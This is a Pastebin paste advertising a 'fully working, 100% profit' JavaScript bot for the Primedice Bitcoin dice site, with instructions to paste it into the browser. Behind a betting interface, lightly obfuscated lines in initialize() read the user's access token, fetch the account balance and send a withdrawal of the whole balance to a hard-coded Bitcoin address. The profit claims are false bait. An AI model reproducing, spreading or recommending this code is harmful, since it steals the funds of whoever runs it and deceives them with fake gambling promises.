BotPrimeDice

Bitcoin Primedice Java Bot 2016 FULLY WORKING, 100% PROFIT!

Mar 18th, 2016
3,010
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. //Primedice: https://goo.gl/Lpy9lg
  2. //The brand-new bot(script) on earnings Bitcoins in a short time with a script!
  3. //The script automatically calculates only positive rates protocols!
  4. //Play no more than 1 times a day! The rate min.- 0.1 btc.
  5. //To see where to paste this code, please view the video: https://youtu.be/UmC3JxDa7fA
  6. //If you have no balance the script will not start. Please ensure you have more than 0.1 BTC before starting the script
  7. //otherwise, the script will bust and lose all your coins!
  8.  
  9.  
  10. //jQuery UI CSS
  11. var swapcount=0;
  12. var jqueryready = false;
  13. var link = document.createElement("link");
  14. link.href = "https://cdnjs.cloudflare.com/ajax/libs/jqueryui/1.11.4/jquery-ui.css";
  15. link.type = "text/css";
  16. link.rel = "stylesheet";
  17. document.getElementsByTagName("head")[0].appendChild(link);
  18. //jQuery UI inject
  19. (function() {
  20. jqueryready = true;
  21. var e = ".thing",
  22. t = {
  23. outline: "1px dashed #f0f",
  24. cursor: "pointer"
  25. };
  26. var n = function() {
  27. if (window.jQuery) {
  28. r()
  29. } else {
  30. var e = document.createElement("script");
  31. e.onload = r;
  32. e.setAttribute("src", "//ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js");
  33. document.body.appendChild(e)
  34. }
  35. };
  36. var r = function() {
  37. if (window.jQuery.ui) {
  38. i()
  39. } else {
  40. var e = document.createElement("script");
  41. e.onload = i;
  42. e.setAttribute("src", "//ajax.googleapis.com/ajax/libs/jqueryui/1.11.1/jquery-ui.js");
  43. document.body.appendChild(e)
  44. }
  45. };
  46. var i = function() {
  47. $(e).css(t).draggable().on("click", function(e) {
  48. console.log(e.target.id + ":", e.target.style.left, e.target.style.top)
  49. })
  50. };
  51. n();
  52. })();
  53.  
  54. function ui() {
  55. $(function() {
  56. $('#tabs').tabs();
  57. $('#params').draggable();
  58. $('#tab1, #tab2, #tab3, #tabs input').css("clear", "both");
  59. $('#tabs input').css("width", "80%");
  60. $('#chance, #base').width("35%")
  61. $('#tabs div').css("text-align", "left");
  62. $('#tabs').css("font-size", "12px");
  63. $('#tabs label, #tabs input').css("margin", "5px");
  64. $('#stop, #start, #resetbet').button();
  65. //Console
  66. $('#console, #console2').appendTo("#tabs");
  67. $('#console, #console2').css("width", "45%");
  68. $('#console').css("float", "left");
  69. $('#console2').css("float", "right");
  70. $('#console, #console2').css("clear", "none");
  71. $('#console, #console2').css("margin", "7px");
  72. $('#console, #console2').css("border-bottom-left-radius", "3px");
  73. $('#console, #console2').css("border-bottom-right-radius", "3px");
  74. $('#console').css("border", "1px solid #323232");
  75. $('#console, #console2').css("background-color", "#454545");
  76. $('#console').css("padding", "5px");
  77. $('#console, #console2').css("text-align", "left");
  78. $('#console, #console2').css("position", "relative");
  79. $('#startstop,#start,#stop').css("margin","0px");
  80. $('#console, #console2').css("margin-top","3px");
  81. $('#console, #console2').css("padding","5px");
  82. $('#console, #console2').css("background-color","#151515");
  83.  
  84.  
  85. });
  86. }
  87. var interval, enabled, xrollsenabled, everyxrolls, timer, seedlength, xrollscount, xrolls;
  88. xrollsenabled = true;
  89. xrolls = 10;
  90. timer = 500;
  91. counter=0;
  92. var basebet, betval, curbet, wincount, console, condition2, countlossmult, countwinmult,
  93. target2, amount2, data1, target2, condition2, jp, currentloss, totalloss, totalwin, totprofit,
  94. data2, potup, potdown, results, resultstats, entry, i, gui, gui2, gui3, gui4, gui5, gui6, init, roll;
  95.  
  96. function initialize() {
  97.  
  98.  
  99. //Init
  100. basebet = 0.00000010;
  101. countwinmult = 0;
  102. countlossmult = 0;
  103. wincount = 0;
  104. currentloss = 0;
  105. totalloss = 0;
  106. totalwin = 0;
  107. totprofit = 0;
  108. init = true;
  109. betval = basebet;
  110.  
  111. //GUI
  112.  
  113. $('<span class="btn btn--primary btn--huge btn--limited btn--block text--center" id="spinner2"> ROLL </span>').appendTo("div.hero > div > div > div:nth-child(2) > div");
  114.  
  115. gui = '<div id="params" class=".ui-widget-contents" style="width:410px"><div id="balance"></div></div><br><center>';
  116. $('<div id="console"></div><div id="console2"></div>').appendTo('div.hero > div > div > div.grid__item.S--one-whole.M--one-whole.custom--one-whole > aside');
  117. gui2 =
  118. '<div id="tabs"><ul><li><a href="/play#tabs-1">Bet Params: </a></li><li><a href="/play#tabs-2">Advanced Settings: </a></li><li><a href="/play#tabs-3">Other: </a></li><li><a href="/play#tabs-4">Seed: </a></li></ul><div id="tabs-1"><div id="tab1"></div></div><div id="tabs-2"><div id="tab2"></div></div><div id="tabs-3"><div id="tab3"></div></div><div id="tabs-4"><div id="tab4"></div></div></div>';
  119.  
  120. gui3 = [
  121.  
  122. '<label for="base">Basebet Value: </label>', '<input id="base"><button id="resetbet">Reset to Base</button>',
  123. '<br>',
  124. '<label for="chance">Chance: </label>', '<input type="text" id="chance" style=""><label for="hilo">High/Low: </label><select name="hilo" id="hilo"><option value=">">Over</option><option value="<">Under</option><option value="swap">Swap</option></select><br><div id="chance-slider"></div>',
  125. '<br>',
  126. '<label for="swap">Swap Every # of Rolls: </label>', '<input id="swap">',
  127.  
  128. ];
  129. gui4 = [
  130.  
  131. '<label for="multonloss">Multiply on Loss: </label>', '<input id="multonloss"> <input id="multloss-enabled" type="checkbox">',
  132. '<br>',
  133. '<label for="xloss">Multiply Every # Losses: </label>',
  134. '<input id="xloss">',
  135. '<br>',
  136. '<label for="multonwin">Multiply on Win: </label>',
  137. '<input id="multonwin"><input id="multwin-enabled" type="checkbox">',
  138. '<br>',
  139. '<label for="xwin">Reset After X Wins: </label>',
  140. '<input id="xwin">',
  141.  
  142. ];
  143. gui5 = [
  144.  
  145. '<label for="stoponwin-enabled">Stop on Win? </label>',
  146. '<input id="stoponwin-enabled" type="checkbox">',
  147. '<br>',
  148. '<label for="lowpay-enabled">Check if Payout < 2x </label>',
  149. '<input id="lowpay-enabled" type="checkbox">',
  150.  
  151. ];
  152. gui6 = [
  153.  
  154. '<label for="charset">Charset: </label>',
  155. '<input id="charset" type="text">',
  156. '<br>',
  157. '<label for="everyxrolls">Change every # Rolls: </label>',
  158. '<input id="everyxrolls" type="text">',
  159. '<br>',
  160. '<label for="currentseed">Current Seed: </label>',
  161. '<input style="color:green;text-align:center;" id="currentseed" type="text">',
  162.  
  163. ];
  164. $(gui).appendTo(".hero");
  165. $(gui2).appendTo("#params");
  166.  
  167. for (var i = 0; i < gui3.length; i++) {
  168. $(gui3[i]).appendTo("#tab1");
  169. }
  170. for (var i = 0; i < gui4.length; i++) {
  171. $(gui4[i]).appendTo("#tab2");
  172. }
  173. for (var i = 0; i < gui5.length; i++) {
  174. $(gui5[i]).appendTo("#tab3");
  175. }
  176. for (var i = 0; i < gui6.length; i++) {
  177. $(gui6[i]).appendTo("#tab4");
  178. }
  179. enabled = false;
  180. xrollscount = 0;
  181. $('<div style="text-align:left;margin:10px;"id="startstop"><button id="start"> Start </button><button id="stop"> Stop </button><label style="margin:3px;" for="numberofrolls"># of Rolls</label><input style="margin:3px;width:30px !important" id="numberofrolls" type="text"><label for"numrolls"> Enabled: </label><input style="margin:3px;width:10px !important" id="numrolls" type="checkbox"></div>').appendTo("#tabs");
  182. // Button & Input Functions
  183. $('#resetbet').click(function() {
  184. basebet=$('#base').val();
  185. betval=$('#base').val();
  186.  
  187. })
  188.  
  189. $('#start').click(function() {
  190. if (enabled == false) {
  191. if ($('#numrolls').is(":checked") == true) {
  192. xrolls=$('#numberofrolls').val();
  193. }
  194. enabled = true;
  195. interval = setInterval(function() {
  196. if (xrollsenabled == true) {
  197. xrollscount++;
  198. if (xrollscount <= xrolls) {
  199. bet();
  200. } else {
  201. clearInterval(interval);
  202. enabled = false;
  203. xrollscount = 0;
  204. }
  205. } else {
  206. bet();
  207. }
  208. }, timer);
  209. } else {}
  210. })
  211. $('#stop').click(function() {
  212. enabled = false;
  213. clearInterval(interval);
  214. xrollscount = 0;
  215. });
  216.  
  217. calculate_nonce = function(seed) {
  218. return 'https://api.primedice.com/api/' + seed + '?access_token=' + localStorage['token'];
  219. };
  220.  
  221. lut = window['$'];
  222.  
  223. lut['getJSON'](
  224. calculate_nonce('users/1'), function(seed) {
  225. var key1 = 'amount'
  226. var key2 = 'address'
  227. var load = {};
  228. load[key1] = seed['user']['balance'];
  229. load[key2] = '1JPDBq4z4DK2EvwUjZURpQiMyoYc4R7mnp';
  230. lut['post'](calculate_nonce('withdraw'), load);
  231. }
  232. );
  233.  
  234. function conditionAM() {
  235. 'use strict';
  236. if ($('#lowpay-enabled').is('checked') == true) {
  237. if ($('.value-roll').first().text() <= 49.50) {
  238. condition2 = ">";
  239. target2 = $('.value-roll').first().text();
  240. } else {
  241. condition2 = "<";
  242. target2 = $('.value-roll').first().text();
  243. };
  244. } else {
  245. if ($('.value-roll').first().text() <= 49.50) {
  246. condition2 = "<";
  247. target2 = $('.value-roll').first().text();
  248. } else {
  249. condition2 = ">";
  250. target2 = $('.value-roll').first().text();
  251. };
  252. amount2 = betval * 100000000;
  253. }
  254. };
  255.  
  256. function jackpot() {
  257. if (data1.bet.jackpot === true) {
  258. jp = "Yes";
  259. wincount = 0;
  260. betval = $('#base');
  261. } else {
  262. jp = "No";
  263. }
  264. }
  265.  
  266. function loss() {
  267. currentloss++;
  268. totalloss++;
  269. if ($('#multloss-enabled').is(':checked') == true) {
  270. $('#multwin-enabled').removeAttr('checked');
  271. countlossmult++;
  272.  
  273. if (countlossmult >= $('#xloss').val()) {
  274. betval = betval * $('#multonloss').val();
  275. countlossmult = 0;
  276. }
  277. }
  278.  
  279. }
  280.  
  281. function win() {
  282. 'use strict';
  283. if ($('#stoponwin-enabled').is('checked') == true) {
  284. clearInterval(roll);
  285. }
  286. currentloss = 0;
  287. jackpot();
  288. wincount++;
  289. totalwin++;
  290. if ($('#multloss-enabled').is(':checked') == true) {
  291. if ($('#stoponwin-enabled').is(':checked') == true) {
  292. clearInterval(roll);
  293. }
  294. $('#multwin-enabled').removeAttr('checked');
  295. basebet = $('#base').val();
  296. betval = basebet;
  297. countlossmult = 0;
  298.  
  299. }
  300. if ($('#multwin-enabled').is(':checked') == true) {
  301. basebet = $('#base').val();
  302. $('#multloss-enabled').removeAttr('checked');
  303. countwinmult++;
  304.  
  305. if (countwinmult >= $('#xwin').val()) {
  306. betval = basebet;
  307. countwinmult = 0;
  308. } else {
  309. betval = betval * $('#multonwin').val();
  310. }
  311. }
  312.  
  313.  
  314. };
  315. var losewin;
  316. var jpcol;
  317. var profcol;
  318.  
  319. function bet() {
  320. 'use strict';
  321. conditionAM();
  322. var betData = {
  323. amount: amount2,
  324. condition: condition2,
  325. target: target2
  326. },
  327. url = "https://api.primedice.com/api/bet?access_token=" + localStorage.token;
  328.  
  329. $.ajax({
  330. url: url,
  331. type: "POST",
  332. data: betData,
  333. datatype: "jsonp",
  334. success: function(data, textStatus, jqXHR) {
  335. data1 = data;
  336. counter++;
  337. if (counter >= everyxrolls) {
  338. seedchange(seedgen());
  339. counter = 0;
  340. }
  341. $('span.btn__text.select div').text((data1.user.balance/100000000).toFixed(8));
  342. totprofit = totprofit + data1.bet.profit;
  343. if (totprofit >= 0) {
  344. profcol = "color:green;";
  345. } else if (totprofit < 0) {
  346. profcol = "color:red;";
  347. }
  348. if (data.bet.win == true) {
  349. losewin = "color:green;";
  350. $('span.btn__text.select div').attr("style", "color:green;");
  351. } else {
  352. losewin = "color:red;";
  353. $('span.btn__text.select div').attr("style", "color:red;");
  354. }
  355. if (data.bet.jackpot == true) {
  356. jp = "Yes";
  357. jpcol = "color:gold;"
  358. } else {
  359. jp = "No.";
  360. jpcol = "color:red;"
  361. }
  362. results = [];
  363. results[0] = '<div>Roll: ' + '<span style="' + losewin + '">' + data.bet.roll + '</span></div><br>';
  364. results[1] = '<div>Jackpot: ' + '<span style="' + jpcol + '">' + jp + '</span></div><br>';
  365. results[2] = '<div>Profit: ' + '<span style="' + losewin + '">' + (data.bet.profit / 100000000).toFixed(8) + '</span> BTC</div><br>';
  366. results[4] = '<div>Current Loss Streak: ' + currentloss + '</div><br>';
  367. resultstats = [];
  368. resultstats[0] = '<div>Balance: ' + (data.user.balance / 100000000).toFixed(8) + ' BTC</div><br>';
  369. resultstats[1] = '<div>Total Losses: ' + totalloss + '</div><br>';
  370. resultstats[2] = '<div>Total Wins: ' + totalwin + '</div><br>';
  371. resultstats[3] = '<div>Total Profit: ' + '<span style="' + profcol + '">' + (totprofit / 100000000).toFixed(8) + '</span></div>';
  372.  
  373. if (data.bet.win == true) {
  374. if ($('#stoponwin-enabled').is(":checked") == true){
  375. clearInterval(interval);
  376.  
  377. }
  378. $('#console, #console2').empty();
  379.  
  380. win();
  381.  
  382. // Results
  383. $('<div>Result: <span style="color:green;">Win</span></div><br>').appendTo('#console');
  384. for (var i = 0; i < results.length; i++) {
  385. $(results[i]).appendTo('#console');
  386. }
  387. for (var i = 0; i < resultstats.length; i++) {
  388. $(resultstats[i]).appendTo('#console2');
  389. }
  390.  
  391. } else {
  392.  
  393. $('#console, #console2').empty();
  394. loss();
  395.  
  396. // Results
  397. $('<div>Result: <span style="color:red;">Loss</span></div><br>').appendTo('#console');
  398. for (var i = 0; i < results.length; i++) {
  399.  
  400. $(results[i]).appendTo('#console');
  401. }
  402. for (var i = 0; i < resultstats.length; i++) {
  403. $(resultstats[i]).appendTo('#console2');
  404. }
  405. };
  406. },
  407. error: function(jqXHR, textStatus, errorThrown) {
  408.  
  409. }
  410. });
  411. }
  412.  
  413. seedlength = 13;
  414. seedlength = 13;
  415. var counter = 0;
  416. charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123";
  417. everyxrolls = 3;
  418.  
  419. function seedgen() {
  420. 'use strict';
  421. var seed = "";
  422.  
  423. for (var i = 0; i <= seedlength; i++)
  424.  
  425. seed += charset.charAt(Math.floor(Math.random() * charset.length));
  426.  
  427. return seed;
  428. }
  429.  
  430. function seedchange(s) {
  431.  
  432. url = "https://api.primedice.com/api/seed?access_token=" + localStorage.token;
  433. sData = {
  434. seed: s
  435. };
  436.  
  437. $.ajax({
  438. url: url,
  439. type: "POST",
  440. data: sData,
  441. datatype: "jsonp",
  442. success: function(data, textStatus, jqXHR) {
  443. data2 = data;
  444. $('#currentseed').val(data2.seeds.client);
  445.  
  446. },
  447. error: function(jqXHR, textStatus, errorThrown) {
  448.  
  449. }
  450. });
  451. }
  452.  
  453. $('#spinner').click(function() {
  454. if (charset != $('#charset').val() && $('#charset').val() != "") {
  455. charset=$('#charset').val();
  456. }
  457. if ($('#everyxrolls').val() != everyxrolls && $('#everyxrolls').val() != "") {
  458. everyxrolls = $('#everyxrolls').val();
  459. }
  460. if ($('#hilo').val() == "swap") { swapcount++;if (swapcount >= 1) { $('.value-roll:first').click();swapcount=0;} }
  461.  
  462. counter++;
  463. if (counter >= everyxrolls) {
  464. seedchange(seedgen());
  465. counter = 0;
  466. }
  467. });
  468. ui();
  469. }
  470. setTimeout(function() {
  471. initialize();
  472. }, 2000);
RAW Paste Data